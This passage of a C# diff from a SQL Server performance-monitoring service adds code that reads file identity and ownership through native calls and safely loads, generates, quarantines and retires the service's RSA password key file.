+                    foreach (var name in new[]
+                    {
+                        DarlingManagedPostgres.CredentialFileName,
+                        DarlingManagedPostgres.AdminCredentialFileName,
+                        DarlingManagedPostgres.ViewerCredentialFileName,
+                        DarlingManagedPostgres.McpCredentialFileName,
+                        DarlingManagedPostgres.ServerCertFileName,
+                        DarlingManagedPostgres.ServerKeyFileName,
+                        DarlingManagedPostgres.ServerLogFileName,
+                    })
+                    {
+                        paths.Add(Path.Combine(parent, name));
+                    }
+                }
+            }
+            catch (Exception ex) when (ex is ArgumentException or NotSupportedException or PathTooLongException)
+            {
+                /* Unresolvable data directory: nothing nameable beyond the raw value above. */
+            }
+        }
+
+        return new DarlingOwnedSet(
+            paths.Where(p => !string.IsNullOrWhiteSpace(p)).Distinct(StringComparer.Ordinal).ToList(),
+            envNames.Where(e => !string.IsNullOrWhiteSpace(e)).Distinct(StringComparer.OrdinalIgnoreCase).ToList());
+    }
+}
+
+/// <summary>A file's identity: the volume (or device) and the file's ID on it.</summary>
+internal readonly record struct FileId(ulong Volume, ulong Index);
+
+/// <summary>Reads <see cref="FileId"/> from the operating system: volume serial plus file index on Windows,
+/// <c>st_dev</c>/<c>st_ino</c> on Unix. Null ONLY for a path that does not exist. Every other failure throws
+/// (<see cref="UnauthorizedAccessException"/> for a denial, <see cref="IOException"/> otherwise, and the platform
+/// exceptions when the native call is unavailable), so a caller can tell "nothing there" from "could not look".</summary>
+internal static class FileIdentity
+{
+    public static FileId? Of(string path) =>
+        OperatingSystem.IsWindows() ? OfWindows(path) : OfUnix(path);
+
+    private const uint FileFlagBackupSemantics = 0x02000000;
+    private const uint FileShareAll = 7;
+    private const uint OpenExisting = 3;
+    private const int ErrorFileNotFound = 2;
+    private const int ErrorPathNotFound = 3;
+    private const int ErrorAccessDenied = 5;
+    private const int ErrorInvalidName = 123; /* a name that cannot exist: absence, not a failure to look */
+    private const int Enoent = 2;
+    private const int Eacces = 13;
+    private const int Enotdir = 20; /* a path component is a file, so nothing can be under it: absence */
+
+    private static FileId? OfWindows(string path)
+    {
+        using var handle = CreateFileW(path, 0, FileShareAll, IntPtr.Zero, OpenExisting, FileFlagBackupSemantics, IntPtr.Zero);
+        if (handle.IsInvalid)
+        {
+            var error = Marshal.GetLastPInvokeError();
+            return error switch
+            {
+                ErrorFileNotFound or ErrorPathNotFound or ErrorInvalidName => null,
+                ErrorAccessDenied => throw new UnauthorizedAccessException("Access to the path was denied (Win32 error 5)."),
+                _ => throw new IOException("The path could not be examined (Win32 error " + error + ")."),
+            };
+        }
+
+        if (!GetFileInformationByHandle(handle, out var info))
+        {
+            throw new IOException("The path could not be examined (Win32 error " + Marshal.GetLastPInvokeError() + ").");
+        }
+
+        return new FileId(info.VolumeSerialNumber, ((ulong)info.FileIndexHigh << 32) | info.FileIndexLow);
+    }
+
+    /* Linux asks statx, which has one layout on every architecture and is in every glibc from 2.28; plain stat is
+       exported only from glibc 2.33 on, so a call to it fails with a missing entry point on older systems (#5366).
+       statx follows a symbolic link, as stat does. stx_ino is 8 bytes at offset 32, and stx_dev_major and stx_dev_minor
+       are 4 bytes each at 136 and 140 (the kernel always fills the device). The device is folded into one value as
+       (major << 32) | minor: every FileId comes from this one function, so the encoding only has to be consistent.
+       macOS reads stat (stat$INODE64 on x64): st_dev is at offset 0 (4 bytes) and st_ino at offset 8 (64-bit inodes).
+       A buffer larger than either struct is used. */
+    private static FileId? OfUnix(string path)
+    {
+        var buffer = new byte[512];
+        if (IntPtr.Size != 8)
+        {
+            throw new PlatformNotSupportedException("The stat layout is only known for 64-bit processes.");
+        }
+
+        var linux = OperatingSystem.IsLinux();
+
+        /* DllNotFoundException / EntryPointNotFoundException propagate: the native call being unavailable is a failure
+           to look, not absence. */
+        var result = linux
+            ? Statx(AtFdcwd, path, 0, StatxIno, buffer)
+            : OperatingSystem.IsMacOS() && RuntimeInformation.ProcessArchitecture == Architecture.X64
+                ? StatMacIntel(path, buffer)
+                : Stat(path, buffer);
+        if (result != 0)
+        {
+            var errno = Marshal.GetLastPInvokeError();
+            return errno switch
+            {
+                Enoent or Enotdir => null,
+                Eacces => throw new UnauthorizedAccessException("Access to the path was denied (errno 13)."),
+                _ => throw new IOException("The path could not be examined (errno " + errno + ")."),
+            };
+        }
+
+        if (linux)
+        {
+            if (!StatxFilledInode(buffer))
+            {
+                throw new IOException("The path could not be examined: the file system did not report a file number.");
+            }
+
+            return DecodeStatxFileId(buffer);
+        }
+
+        var dev = OperatingSystem.IsMacOS() ? (ulong)BitConverter.ToUInt32(buffer, 0) : BitConverter.ToUInt64(buffer, 0);
+        return new FileId(dev, BitConverter.ToUInt64(buffer, 8));
+    }
+
+    private const uint StatxIno = 0x100;
+
+    /// <summary>True when a <c>statx</c> buffer's mask says the file number was filled in.</summary>
+    internal static bool StatxFilledInode(byte[] buffer) =>
+        (BitConverter.ToUInt32(buffer, 0) & StatxIno) == StatxIno;
+
+    /// <summary>The device and file number in a <c>statx</c> buffer: <c>stx_ino</c> at 32, <c>stx_dev_major</c> at 136 and
+    /// <c>stx_dev_minor</c> at 140, the device as <c>(major &lt;&lt; 32) | minor</c>.</summary>
+    internal static FileId DecodeStatxFileId(byte[] buffer) =>
+        new(((ulong)BitConverter.ToUInt32(buffer, 136) << 32) | BitConverter.ToUInt32(buffer, 140), BitConverter.ToUInt64(buffer, 32));
+
+    /// <summary>Where the owner and link count sit in the buffer each platform's call fills (#5366).</summary>
+    internal enum UnixStatLayout
+    {
+        /// <summary>Linux, every architecture: <c>struct statx</c>, where <c>stx_nlink</c> is 4 bytes at 16 and
+        /// <c>stx_uid</c> 4 bytes at 20, and <c>stx_mask</c> (4 bytes at 0) says which fields the kernel filled.</summary>
+        Statx,
+
+        /// <summary>macOS with 64-bit inodes: <c>struct stat</c>, where <c>st_nlink</c> is 2 bytes at 6 and
+        /// <c>st_uid</c> 4 bytes at 16.</summary>
+        MacOs,
+    }
+
+    private const int AtFdcwd = -100;
+    private const uint StatxNlink = 0x4;
+    private const uint StatxUid = 0x8;
+
+    /// <summary>The owner and link count in a buffer a platform call filled, read at <paramref name="layout"/>'s offsets.</summary>
+    internal static UnixFileOwner DecodeUnixOwner(byte[] buffer, UnixStatLayout layout) => layout switch
+    {
+        UnixStatLayout.Statx => new UnixFileOwner(BitConverter.ToUInt32(buffer, 20), BitConverter.ToUInt32(buffer, 16)),
+        UnixStatLayout.MacOs => new UnixFileOwner(BitConverter.ToUInt32(buffer, 16), BitConverter.ToUInt16(buffer, 6)),
+        _ => throw new ArgumentOutOfRangeException(nameof(layout)),
+    };
+
+    /// <summary>True when a <c>statx</c> buffer's mask says both the owner and the link count were filled in.</summary>
+    internal static bool StatxFilledOwnerAndLinks(byte[] buffer) =>
+        (BitConverter.ToUInt32(buffer, 0) & (StatxNlink | StatxUid)) == (StatxNlink | StatxUid);
+
+    /// <summary>
+    /// The owner and link count of the file at <paramref name="path"/> (#5366); null only when nothing is there. A link is
+    /// followed, as the file check's own read does. Linux asks <c>statx</c>, which has one layout on every architecture
+    /// and is in every glibc from 2.28 (plain <c>stat</c> is exported only from 2.33); macOS reads <c>stat</c>. Anything
+    /// else (a missing entry point, a failed call, a buffer that lacks the owner or link count, a platform this does not
+    /// know) THROWS with a sentence naming the file: the caller must never take "could not read" for "fine".
+    /// </summary>
+    internal static UnixFileOwner? UnixOwnerOf(string path)
+    {
+        if (OperatingSystem.IsWindows())
+        {
+            return null;
+        }
+
+        var layout = OperatingSystem.IsLinux() ? UnixStatLayout.Statx
+            : OperatingSystem.IsMacOS() ? UnixStatLayout.MacOs
+            : throw new PlatformNotSupportedException($"The owner and link count of '{path}' cannot be read on this operating system.");
+        var buffer = new byte[512];
+        int result;
+        try
+        {
+            result = layout == UnixStatLayout.Statx
+                ? Statx(AtFdcwd, path, 0, StatxNlink | StatxUid, buffer)
+                : RuntimeInformation.ProcessArchitecture == Architecture.X64 ? StatMacIntel(path, buffer) : Stat(path, buffer);
+        }
+        catch (Exception ex) when (ex is DllNotFoundException or EntryPointNotFoundException)
+        {
+            throw new PlatformNotSupportedException($"The owner and link count of '{path}' cannot be read: this system does not offer the call that reports them.", ex);
+        }
+
+        if (result != 0)
+        {
+            var errno = Marshal.GetLastPInvokeError();
+            return errno switch
+            {
+                Enoent or Enotdir => null,
+                Eacces => throw new UnauthorizedAccessException($"Access to '{path}' was denied (errno 13)."),
+                _ => throw new IOException($"The owner and link count of '{path}' could not be read (errno {errno})."),
+            };
+        }
+
+        if (layout == UnixStatLayout.Statx && !StatxFilledOwnerAndLinks(buffer))
+        {
+            throw new IOException($"The owner and link count of '{path}' could not be read: the file system did not report them.");
+        }
+
+        return DecodeUnixOwner(buffer, layout);
+    }
+
+    /// <summary>The user id this process runs as. Only called on a platform that has one.</summary>
+    internal static uint EffectiveUserId() => GetEffectiveUserId();
+
+    [DllImport("libc", EntryPoint = "geteuid")]
+    private static extern uint GetEffectiveUserId();
+
+    /* CA2101 wants CharSet.Unicode on a P/Invoke that takes a string, but libc's stat takes a UTF-8 path:
+       CharSet.Unicode would marshal UTF-16 and the call would fail on every non-ASCII path. LPUTF8Str is the
+       correct marshaling here, so the rule is suppressed for these three declarations only. */
+#pragma warning disable CA2101 // libc takes UTF-8; LPUTF8Str is correct and CharSet.Unicode would be wrong
+    [DllImport("libc", EntryPoint = "stat", SetLastError = true)]
+    private static extern int Stat([MarshalAs(UnmanagedType.LPUTF8Str)] string path, byte[] buffer);
+
+    [DllImport("libc", EntryPoint = "stat$INODE64", SetLastError = true)]
+    private static extern int StatMacIntel([MarshalAs(UnmanagedType.LPUTF8Str)] string path, byte[] buffer);
+
+    [DllImport("libc", EntryPoint = "statx", SetLastError = true)]
+    private static extern int Statx(int dirFd, [MarshalAs(UnmanagedType.LPUTF8Str)] string path, int flags, uint mask, byte[] buffer);
+#pragma warning restore CA2101
+
+    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
+    private static extern SafeFileHandle CreateFileW(
+        string fileName, uint desiredAccess, uint shareMode, IntPtr securityAttributes,
+        uint creationDisposition, uint flagsAndAttributes, IntPtr templateFile);
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    [return: MarshalAs(UnmanagedType.Bool)]
+    private static extern bool GetFileInformationByHandle(SafeFileHandle file, out ByHandleInfo info);
+
+    [StructLayout(LayoutKind.Sequential)]
+    private struct ByHandleInfo
+    {
+        public uint FileAttributes;
+        public uint CreationLow;
+        public uint CreationHigh;
+        public uint AccessLow;
+        public uint AccessHigh;
+        public uint WriteLow;
+        public uint WriteHigh;
+        public uint VolumeSerialNumber;
+        public uint SizeHigh;
+        public uint SizeLow;
+        public uint NumberOfLinks;
+        public uint FileIndexHigh;
+        public uint FileIndexLow;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyFile.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyFile.cs
new file mode 100644
index 0000000000..71a9f89ac9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyFile.cs
@@ -0,0 +1,418 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The service's password key on disk (#5366): an RSA-3072 private key, PKCS#8, kept in the same directory as the
+/// log-hash key (<see cref="DarlingLogHashKeyFile.DirectoryFor"/>), so both always sit with the service's other
+/// credentials. On Windows the file holds a DPAPI (LocalMachine) blob, restricted to SYSTEM, Administrators and the
+/// service account (<see cref="WindowsFileName"/>); elsewhere it holds the key, base64, in a 0600 file
+/// (<see cref="UnixFileName"/>).
+///
+/// <para>The trust checks, the read and the write are <see cref="DarlingServiceKeyFile"/>'s, the loader the log-hash key
+/// shares. What differs is what a missing file means. <see cref="Load"/> NEVER generates: the key's callers decide
+/// whether a missing file is a first start or a lost key, so a read can never replace a key. <see cref="Generate"/>
+/// writes a key only where nothing is, and never overwrites. <see cref="Retire"/> renames the file and never deletes
+/// it, so the bytes stay.</para>
+///
+/// <para>A directory that other users could write to until the service set it owner-only keeps the key file, renamed to
+/// <see cref="QuarantineFileName"/> (never deleted, never overwritten), so the live name is empty and the record is on
+/// disk: every later start, and every other process, finds it there and says so
+/// (<see cref="PasswordKeyFileLoad.FoundAfterOpenDirectory"/>). The caller decides whether the key it holds still
+/// matches what it published, then <see cref="Accept"/>s it (renamed back to the live name) or <see cref="Retire"/>s
+/// it. Every other credential file in such a directory is removed.</para>
+///
+/// <para>A refusal names the file and its directory, never the key.</para>
+///
+/// <para>The key's text form (base64) passes through managed strings while it is read and written, as the log-hash key's
+/// does, and the key itself stays in memory for as long as the service runs.</para>
+/// </summary>
+public static class DarlingPasswordKeyFile
+{
+    /// <summary>The key file on Linux: the PKCS#8 key, base64, owner-only.</summary>
+    public const string UnixFileName = "password-key";
+
+    /// <summary>The key file on Windows: a DPAPI blob, named with the managed credentials' extension.</summary>
+    public const string WindowsFileName = "password-key.dpapi";
+
+    /// <summary>The key's size, in bits.</summary>
+    public const int KeyBits = 3072;
+
+    /// <summary>This platform's key file name.</summary>
+    public static string FileName => OperatingSystem.IsWindows() ? WindowsFileName : UnixFileName;
+
+    /// <summary>What a key file found while its directory was open is renamed to: the key file's name, then this.</summary>
+    public const string QuarantineSuffix = ".open-directory";
+
+    /// <summary>This platform's name for a key file kept from an open directory.</summary>
+    public static string QuarantineFileName => FileName + QuarantineSuffix;
+
+    /// <summary>The most a key file's bytes may run to: a 3072-bit PKCS#8 key is about 1.8 KB, which is about 2.4 KB
+    /// as base64 and about 3.5 KB as a base64 DPAPI blob of that.</summary>
+    private const int MaxKeyFileBytes = 8192;
+
+    /* The key cannot be generated again, so it is also held to what a file the service wrote is: owned by the service's
+       user with one name (Unix), and in a directory only the service can change (Windows), written through a temporary
+       file of its own. */
+    private static readonly ServiceKeyFileSpec<byte[]> Spec = new(
+        FileName, MaxKeyFileBytes, ParseKey, CheckOwner: true, CheckDirectoryAccess: true, UniqueTemporary: true);
+
+    private static readonly ServiceKeyFileSpec<byte[]> QuarantineSpec = Spec with { FileName = QuarantineFileName };
+
+    /// <summary>
+    /// Looks for the key in <paramref name="directory"/> and reads it when it is trusted. NEVER generates and never
+    /// writes: with no file the result is <see cref="PasswordKeyFileLoad.Present"/> false, and a directory that does not
+    /// exist is not created. Never throws for anything the file system or the file can do; the result says what
+    /// happened. The caller owns <see cref="PasswordKeyFileLoad.Pkcs8"/> and zeroes it
+    /// (<see cref="CryptographicOperations.ZeroMemory"/>) when done.
+    ///
+    /// <para>With nothing at the key's name and a file at <see cref="QuarantineFileName"/> (kept from an open directory),
+    /// that file is read under the same checks and the result has
+    /// <see cref="PasswordKeyFileLoad.FoundAfterOpenDirectory"/> true and the quarantine path. Files at both names are
+    /// refused as untrusted: which one is the key is for the operator to say.</para>
+    /// </summary>
+    public static PasswordKeyFileLoad Load(string directory, ILogger logger)
+    {
+        ArgumentException.ThrowIfNullOrEmpty(directory);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        var path = Path.Combine(directory, FileName);
+        ServiceKeyFileResult<byte[]>? live = null;
+        try
+        {
+            live = DarlingServiceKeyFile.Load(directory, Spec, generate: null, createDirectory: false, logger);
+            if (live.State == ServiceKeyFileState.DirectoryRefused || !DarlingServiceKeyFile.AnythingAt(path + QuarantineSuffix))
+            {
+                return Describe(live, foundAfterOpenDirectory: false, logger);
+            }
+
+            if (live.Exists)
+            {
+                /* Not used past here: the key is zeroed before the refusal returns (#5366). */
+                if (live.Key is not null)
+                {
+                    CryptographicOperations.ZeroMemory(live.Key);
+                }
+
+                return new PasswordKeyFileLoad(
+                    Present: true, Untrusted: true,
+                    $"Two password key files are in {directory}: {FileName} and {QuarantineFileName}. Keep the right one and remove the other, then restart.",
+                    Pkcs8: null, FoundAfterOpenDirectory: true, path);
+            }
+
+            return Describe(
+                DarlingServiceKeyFile.Load(directory, QuarantineSpec, generate: null, createDirectory: false, logger),
+                foundAfterOpenDirectory: true, logger);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            if (live?.Key is not null)
+            {
+                CryptographicOperations.ZeroMemory(live.Key);
+            }
+
+            return new PasswordKeyFileLoad(
+                Present: ExistsOrFalse(path), Untrusted: false, Refusal: $"The password key {FileName} in {directory} could not be checked ({ex.Message}).",
+                Pkcs8: null, FoundAfterOpenDirectory: false, path);
+        }
+    }
+
+    private static PasswordKeyFileLoad Describe(ServiceKeyFileResult<byte[]> result, bool foundAfterOpenDirectory, ILogger logger)
+    {
+        switch (result.State)
+        {
+            case ServiceKeyFileState.Loaded:
+                logger.LogInformation("Loaded the password key from {Path} (#5366)", result.Path);
+                return new PasswordKeyFileLoad(Present: true, Untrusted: false, Refusal: null, result.Key, foundAfterOpenDirectory, result.Path);
+
+            case ServiceKeyFileState.Absent:
+                return new PasswordKeyFileLoad(Present: false, Untrusted: false, Refusal: null, Pkcs8: null, FoundAfterOpenDirectory: false, result.Path);
+
+            default:
+                return new PasswordKeyFileLoad(
+                    Present: result.Exists, result.Untrusted, Refusal(result), Pkcs8: null, foundAfterOpenDirectory, result.Path);
+        }
+    }
+
+    private static bool ExistsOrFalse(string path)
+    {
+        try
+        {
+            return DarlingServiceKeyFile.AnythingAt(path);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or ArgumentException)
+        {
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// Writes a new key where nothing is. <paramref name="newPkcs8"/> supplies the PKCS#8 bytes; they are checked (an
+    /// RSA private key of exactly <see cref="KeyBits"/> bits) before anything is written, and zeroed after they are
+    /// written. Written owner-only from the moment the file exists (0600 on Unix; DPAPI LocalMachine and the allowlist
+    /// ACL on Windows), flushed to disk, then moved into place without overwrite. A file or any other entry already at
+    /// the path is refused and left exactly as it is. The result's <see cref="PasswordKeyFileLoad.Pkcs8"/> is the
+    /// caller's own copy of the key, to zero when done. Never throws for anything the file system can do.
+    /// </summary>
+    public static PasswordKeyFileLoad Generate(string directory, Func<byte[]> newPkcs8, ILogger logger)
+    {
+        ArgumentException.ThrowIfNullOrEmpty(directory);
+        ArgumentNullException.ThrowIfNull(newPkcs8);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        var path = Path.Combine(directory, FileName);
+        byte[]? supplied = null;
+        byte[]? clone = null;
+        var generated = false;
+        try
+        {
+            /* A check that cannot be made refuses (#5366): a kept key may be waiting, and a new one is never written
+               beside it. */
+            bool kept;
+            try
+            {
+                kept = DarlingServiceKeyFile.AnythingAt(path + QuarantineSuffix);
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or ArgumentException)
+            {
+                return new PasswordKeyFileLoad(Present: false, Untrusted: false, Refusal: $"a new password key was not written to {path}: whether {QuarantineFileName} holds a key kept from an earlier start could not be checked ({ex.Message})", Pkcs8: null, FoundAfterOpenDirectory: false, path);
+            }
+
+            if (kept)
+            {
+                return new PasswordKeyFileLoad(Present: true, Untrusted: false, Refusal: $"a new password key was not written to {path}: {QuarantineFileName} holds a key kept from an earlier start; accept it or retire it first", Pkcs8: null, FoundAfterOpenDirectory: true, path);
+            }
+
+            supplied = newPkcs8();
+            if (CheckPkcs8(supplied) is { } invalid)
+            {
+                return new PasswordKeyFileLoad(Present: false, Untrusted: false, Refusal: $"a new password key was not written to {path}: {invalid}", Pkcs8: null, FoundAfterOpenDirectory: false, path);
+            }
+
+            var material = supplied;
+            var result = DarlingServiceKeyFile.Establish(
+                directory,
+                Spec,
+                () => new ServiceKeyGeneration<byte[]>(clone = (byte[])material.Clone(), material),
+                logger);
+
+            if (result.State == ServiceKeyFileState.Generated)
+            {
+                generated = true;
+                logger.LogInformation("Generated the password key {Path} (#5366)", result.Path);
+                return new PasswordKeyFileLoad(Present: true, Untrusted: false, Refusal: null, result.Key, FoundAfterOpenDirectory: false, result.Path);
+            }
+
+            return new PasswordKeyFileLoad(
+                Present: result.Exists, result.Untrusted, Refusal(result), Pkcs8: null, FoundAfterOpenDirectory: false, result.Path);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return new PasswordKeyFileLoad(Present: false, Untrusted: false, Refusal: $"a new password key was not written to {path}: it could not be generated ({ex.Message})", Pkcs8: null, FoundAfterOpenDirectory: false, path);
+        }
+        finally
+        {
+            if (supplied is not null)
+            {
+                CryptographicOperations.ZeroMemory(supplied);
+            }
+
+            /* The caller's copy is the clone; when no key was generated nobody receives it. */
+            if (!generated && clone is not null)
+            {
+                CryptographicOperations.ZeroMemory(clone);
+            }
+        }
+    }
+
+    /// <summary>
+    /// Renames the key to <c>password-key.&lt;suffix&gt;</c> (this platform's file name, then a dot and the suffix)
+    /// and returns the path it now has. The key is the file at <see cref="QuarantineFileName"/> when there is one (kept
+    /// from an open directory), otherwise the file at the live name; with files at both, the quarantined one is
+    /// retired and the live one stays. NEVER deletes: the bytes stay, so a key that was retired by mistake can be
+    /// put back by renaming it. A name already taken by an earlier retirement is never overwritten; a number is added
+    /// to the suffix instead. Returns an empty string when there was no file to retire. Throws
+    /// <see cref="IOException"/>, naming the directory and the file, when the rename fails, and
+    /// <see cref="ArgumentException"/> for a suffix that is not letters, digits, <c>-</c> or <c>_</c>.
+    /// </summary>
+    public static string Retire(string directory, string suffix, ILogger logger)
+    {
+        ArgumentException.ThrowIfNullOrEmpty(directory);
+        ArgumentException.ThrowIfNullOrEmpty(suffix);
+        ArgumentNullException.ThrowIfNull(logger);
+        if (!suffix.All(c => char.IsAsciiLetterOrDigit(c) || c is '-' or '_'))
+        {
+            throw new ArgumentException("The suffix may hold only letters, digits, '-' and '_'.", nameof(suffix));
+        }
+
+        var path = Path.Combine(directory, FileName);
+        lock (ComposeCredentialDirectoryGuard.Current.Gate)
+        {
+            var source = DarlingServiceKeyFile.AnythingAt(path + QuarantineSuffix) ? path + QuarantineSuffix : path;
+            if (!DarlingServiceKeyFile.AnythingAt(source))
+            {
+                return string.Empty;
+            }
+
+            for (var attempt = 0; attempt < 1000; attempt++)
+            {
+                var retired = path + "." + suffix + (attempt == 0 ? string.Empty : "-" + attempt.ToString(System.Globalization.CultureInfo.InvariantCulture));
+                if (DarlingServiceKeyFile.AnythingAt(retired))
+                {
+                    continue;
+                }
+
+                try
+                {
+                    MoveWithoutOverwrite(source, retired);
+                    logger.LogWarning("The password key {Path} was retired to {Retired} (#5366). It is kept, not deleted.", source, retired);
+                    return retired;
+                }
+                catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+                {
+                    if (DarlingServiceKeyFile.AnythingAt(retired))
+                    {
+                        continue; /* something took the name between the look and the move */
+                    }
+
+                    throw new IOException($"The password key {Path.GetFileName(source)} in {directory} could not be renamed to {Path.GetFileName(retired)} ({ex.Message}).", ex);
+                }
+            }
+        }
+
+        throw new IOException($"The password key {FileName} in {directory} could not be retired: every name for it with the suffix {suffix} is taken.");
+    }
+
+    /// <summary>
+    /// Puts the key kept from an open directory back at the live name (#5366): renames <see cref="QuarantineFileName"/>
+    /// to <see cref="FileName"/> with no overwrite, and returns the live path. The caller has judged the kept key
+    /// (it matches what the service published) before it calls this. Throws <see cref="InvalidOperationException"/>,
+    /// with a sentence for the operator, when the live name is already taken or no file is kept, and
+    /// <see cref="IOException"/> when the rename itself fails. Nothing is deleted or overwritten.
+    /// </summary>
+    public static string Accept(string directory, ILogger logger)
+    {
+        ArgumentException.ThrowIfNullOrEmpty(directory);
+        ArgumentNullException.ThrowIfNull(logger);
+
+        var path = Path.Combine(directory, FileName);
+        var kept = path + QuarantineSuffix;
+        lock (ComposeCredentialDirectoryGuard.Current.Gate)
+        {
+            if (!DarlingServiceKeyFile.AnythingAt(kept))
+            {
+                throw new InvalidOperationException($"There is no kept password key to accept: {QuarantineFileName} is not in {directory}.");
+            }
+
+            if (DarlingServiceKeyFile.AnythingAt(path))
+            {
+                throw new InvalidOperationException($"The password key {FileName} in {directory} is already there, so {QuarantineFileName} was not moved onto it. Keep the right one and remove the other.");
+            }
+
+            try
+            {
+                MoveWithoutOverwrite(kept, path);
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+            {
+                throw new IOException($"The password key {QuarantineFileName} in {directory} could not be renamed to {FileName} ({ex.Message}).", ex);
+            }
+        }
+
+        logger.LogWarning("The password key {Kept} was accepted and is now {Path} (#5366).", kept, path);
+        return path;
+    }
+
+    /// <summary>A directory or a link at <paramref name="from"/> is moved as it is, never followed.</summary>
+    private static void MoveWithoutOverwrite(string from, string to)
+    {
+        if (Directory.Exists(from) && new FileInfo(from).LinkTarget is null)
+        {
+            Directory.Move(from, to);
+        }
+        else
+        {
+            File.Move(from, to, overwrite: false);
+        }
+    }
+
+    /// <summary>What a refusal says: the file and its directory, then the loader's reason. Never the key.</summary>
+    private static string Refusal(ServiceKeyFileResult<byte[]> result) =>
+        $"The password key {Path.GetFileName(result.Path)} in {Path.GetDirectoryName(result.Path)} cannot be used because {result.Reason ?? "it could not be checked"}.";
+
+    private static ServiceKeyParse<byte[]> ParseKey(string encoded)
+    {
+        var buffer = new byte[encoded.Length * 3 / 4 + 3];
+        try
+        {
+            if (!Convert.TryFromBase64String(encoded, buffer, out var written))
+            {
+                return new ServiceKeyParse<byte[]>(null, "it is not base64");
+            }
+
+            var pkcs8 = buffer.AsSpan(0, written).ToArray();
+            if (CheckPkcs8(pkcs8) is { } problem)
+            {
+                CryptographicOperations.ZeroMemory(pkcs8);
+                return new ServiceKeyParse<byte[]>(null, problem);
+            }
+
+            return new ServiceKeyParse<byte[]>(pkcs8, null);
+        }
+        finally
+        {
+            CryptographicOperations.ZeroMemory(buffer);
+        }
+    }
+
+    /// <summary>Null when <paramref name="pkcs8"/> is exactly one RSA private key of <see cref="KeyBits"/> bits; the
+    /// reason otherwise.</summary>
+    private static string? CheckPkcs8(byte[] pkcs8)
+    {
+        try
+        {
+            using var rsa = RSA.Create();
+            rsa.ImportPkcs8PrivateKey(pkcs8, out var read);
+            if (read != pkcs8.Length)
+            {
+                return "it holds more than one key";
+            }
+
+            return rsa.KeySize == KeyBits ? null : $"it is not a {KeyBits}-bit RSA key";
+        }
+        catch (Exception ex) when (ex is CryptographicException or ArgumentException)
+        {
+            return "it does not hold a PKCS#8 RSA private key";
+        }
+    }
+}
+
+/// <summary>What <see cref="DarlingPasswordKeyFile"/> found or did (#5366). Its generated <c>ToString</c> would print
+/// <see cref="Pkcs8"/>'s type, not its bytes, but nothing should log this record whole.</summary>
+/// <param name="Present">Whether anything is at the key file's path (or, for a key found after an open directory, at its
+/// quarantine path). <c>Present</c> true with <c>Untrusted</c> false and <c>Pkcs8</c> null (the file cannot be read, parsed
+/// or decrypted) is a refusal: the caller must treat it as one, never as a missing key to generate over or a key to
+/// retire.</param>
+/// <param name="Untrusted">True when the file, or the directory it is in, failed the trust check.</param>
+/// <param name="Refusal">Why the key cannot be used, written for the operator, naming the file and its directory; null
+/// when there is a key or no file.</param>
+/// <param name="Pkcs8">The key (PKCS#8) when it was loaded or written; the caller's own copy, to zero when done.</param>
+/// <param name="FoundAfterOpenDirectory">True when the file is the one kept from a directory that was open to other users'
+/// writes until the service set it owner-only: it is at <see cref="DarlingPasswordKeyFile.QuarantineFileName"/> and stays
+/// reported until it is accepted or retired, on every start. Every other credential file in it was removed.</param>
+/// <param name="Path">The path the key was read from or looked for: the quarantine path when
+/// <paramref name="FoundAfterOpenDirectory"/> is true and the file was read.</param>
+public sealed record PasswordKeyFileLoad(
+    bool Present, bool Untrusted, string? Refusal, byte[]? Pkcs8, bool FoundAfterOpenDirectory, string Path);
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyRuntime.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyRuntime.cs
new file mode 100644
index 0000000000..5f0bac2974
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyRuntime.cs
@@ -0,0 +1,576 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// What a caller may replace when it starts the password key runtime. Production passes none of them; tests use them to
+/// point the runtime at a temporary directory, to stand in for the platform, and to see the ring the start produced
+/// without touching the process-wide <see cref="DarlingPasswordKey.Current"/>.
+/// </summary>
+internal sealed record PasswordKeyStartOptions
+{
+    /// <summary>The platform answer for the legacy pin snapshot. Null means this machine.</summary>
+    public bool? IsWindows { get; init; }
+
+    /// <summary>Says whether this machine opens a legacy value, without returning it. Null means <see cref="DarlingSecrets.CanUnprotect"/> on Windows.</summary>
+    public Func<string, bool>? CanOpen { get; init; }
+
+    /// <summary>Judges a key kept from an open directory against the published key. Null means <see cref="DarlingPasswordKeyRuntime.SelfTest"/>.</summary>
+    public Func<PasswordPrivateKey, PublishedKey, bool>? SelfTest { get; init; }
+
+    /// <summary>Receives each ring the runtime decides on. Null means set <see cref="DarlingPasswordKey.Current"/>.</summary>
+    public Action<IPasswordKeyRing>? SetRing { get; init; }
+
+    /// <summary>This service host's name in the state table. Null means the machine name.</summary>
+    public string? ServiceHost { get; init; }
+}
+
+/// <summary>
